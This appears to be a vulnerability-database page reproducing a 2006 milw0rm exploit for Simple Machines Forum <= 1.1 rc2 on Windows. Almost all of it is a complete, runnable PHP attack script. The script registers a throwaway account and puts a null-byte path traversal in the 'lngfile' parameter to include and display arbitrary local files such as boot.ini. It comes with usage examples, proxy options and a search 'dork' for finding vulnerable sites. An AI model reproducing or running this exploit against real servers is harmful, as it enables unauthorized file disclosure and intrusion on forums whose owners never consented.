Simple Machines Forum <= 1.1 rc2 (lngfile) Remote Exploit (windows)

🗓️ 01 Jul 2014 00:00:00Reported by RootType
Simple Machines Forum <= 1.1 rc2 "lngfile" Remote Exploit for Window

                                                #!/usr/bin/php -q -d short_open_tag=on
&#60;?
print_r(&#39;
--------------------------------------------------------------------------------
Simple Machines Forum &#60;= 1.1 rc2 &#34;lngfile&#34; Zend_Hash_Del_Key_Or_Index/arbitrary
local inclusion exploit (Win boxes)
by rgod [email protected]
site: http://retrogod.altervista.org
dork: &#34;Powered by SMF&#34;
--------------------------------------------------------------------------------
&#39;);
/*
works against Win boxes
regardless of php.ini settings
against PHP &#60; 4.3.3, PHP 5 &#60; 5.1.4
*/

if ($argc&#60;5) {
print_r(&#39;
--------------------------------------------------------------------------------
Usage: php &#39;.$argv[0].&#39; host path mail include OPTIONS
host:      target server (ip/hostname)
path:      path to SMF
mail:      your email, required for activation
include:   path to file you want to include
Options:
   -p[port]:    specify a port other than 80
   -P[ip:port]: specify a proxy
Examples:
php &#39;.$argv[0].&#39; localhost /smf/ [email protected] ../../../../../boot.ini
php &#39;.$argv[0].&#39; localhost /smf/ [email protected] ../../../../../boot.ini -p81
php &#39;.$argv[0].&#39; localhost / [email protected] ../../../../../boot.ini -P1.1.1.1:80
--------------------------------------------------------------------------------
&#39;);
die;
}

error_reporting(0);
ini_set(&#34;max_execution_time&#34;,0);
ini_set(&#34;default_socket_timeout&#34;,5);

function quick_dump($string)
{
  $result=&#39;&#39;;$exa=&#39;&#39;;$cont=0;
  for ($i=0; $i&#60;=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) &#60;= 32 ) | (ord($string[$i]) &#62; 126 ))
   {$result.=&#34;  .&#34;;}
   else
   {$result.=&#34;  &#34;.$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=&#34; &#34;.dechex(ord($string[$i]));}
   else
   {$exa.=&#34; 0&#34;.dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.=&#34;\r\n&#34;; $exa.=&#34;\r\n&#34;;}
  }
 return $exa.&#34;\r\n&#34;.$result;
}
$proxy_regex = &#39;(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)&#39;;
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy==&#39;&#39;) {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo &#39;No response from &#39;.$host.&#39;:&#39;.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo &#39;Not a valid proxy...&#39;;die;
    }
    $parts=explode(&#39;:&#39;,$proxy);
    echo &#34;Connecting to &#34;.$parts[0].&#34;:&#34;.$parts[1].&#34; proxy...\r\n&#34;;
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo &#39;No response from proxy...&#39;;die;
	}
  }
  fputs($ock,$packet);
  if ($proxy==&#39;&#39;) {
    $html=&#39;&#39;;
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html=&#39;&#39;;
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo &#34;\r\n&#34;.$html;
}

function make_seed()
{
   list($usec, $sec) = explode(&#39; &#39;, microtime());
   return (float) $sec + ((float) $usec * 100000);
}

$host=$argv[1];
$path=$argv[2];
$email=$argv[3];
$include=$argv[4];
$port=80;
$proxy=&#34;&#34;;

for ($i=3; $i&#60;$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp==&#34;-p&#34;)
{
  $port=str_replace(&#34;-p&#34;,&#34;&#34;,$argv[$i]);
}
if ($temp==&#34;-P&#34;)
{
  $proxy=str_replace(&#34;-P&#34;,&#34;&#34;,$argv[$i]);
}
}
if (($path[0]&#60;&#62;&#39;/&#39;) or ($path[strlen($path)-1]&#60;&#62;&#39;/&#39;)) {echo &#39;Error... check the path!&#39;; die;}
if ($proxy==&#39;&#39;) {$p=$path;} else {$p=&#39;http://&#39;.$host.&#39;:&#39;.$port.$path;}

srand(make_seed());
$anumber = rand(1,9999999);
$user=&#34;sun-tzu&#34;.$anumber;
$pass=&#34;sun-tzu&#34;.$anumber;
$packet =&#34;GET &#34;.$p.&#34;index.php?action=register HTTP/1.0\r\n&#34;;
$packet.=&#34;X-FORWARDED-FOR: 1.1.1.1\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
$packet.=$data;
sendpacketii($packet);
$temp=explode(&#34;Set-Cookie: &#34;,$html);
$cookie=&#34;&#34;;
for ($i=1; $i&#60;count($temp); $i++)
{
 $temp2=explode(&#34; &#34;,$temp[$i]);
 $cookie.=&#34; &#34;.$temp2[0];
}
$temp=explode(&#34;PHPSESSID=&#34;,$cookie);
$temp2=explode(&#34;;&#34;,$temp[1]);
$sessid=$temp2[0];

$data=&#34;user=&#34;.$user;
$data.=&#34;&email=&#34;.$email;
$data.=&#34;&hideEmail=1&#34;;
$data.=&#34;&passwrd1=&#34;.$pass;
$data.=&#34;&passwrd2=&#34;.$pass;
$data.=&#34;&regagree=on&#34;;
$data.=&#34;&lngfile=%2f&#34;.$include.&#34;%00&#34;;
$data.=&#34;&1412642694=1&#34;;
$data.=&#34;&850639942=1&#34;;
$data.=&#34;&regSubmit=Register&#34;;
$packet =&#34;POST &#34;.$p.&#34;index.php?action=register2 HTTP/1.0\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Accept-Language: en\r\n&#34;;
$packet.=&#34;Accept-Encoding: gzip, deflate\r\n&#34;;
$packet.=&#34;Referer: http://&#34;.$host.$path.&#34;index.php?PHPSESSID=$sessid\r\n&#34;;
$packet.=&#34;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n&#34;;
$packet.=&#34;Cache-Control: no-cache\r\n&#34;;
$packet.=&#34;Cookie: $cookie\r\n&#34;;
$packet.=&#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
$packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
$packet.=$data;
sendpacketii($packet);
print_r(&#34;
now login with user: &#34;.$user.&#34; pass: &#34;.$pass.&#34; and you will see
&#34;.basename($include).&#34; file at screen...
&#34;);
?&#62;

# milw0rm.com [2006-08-20]
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1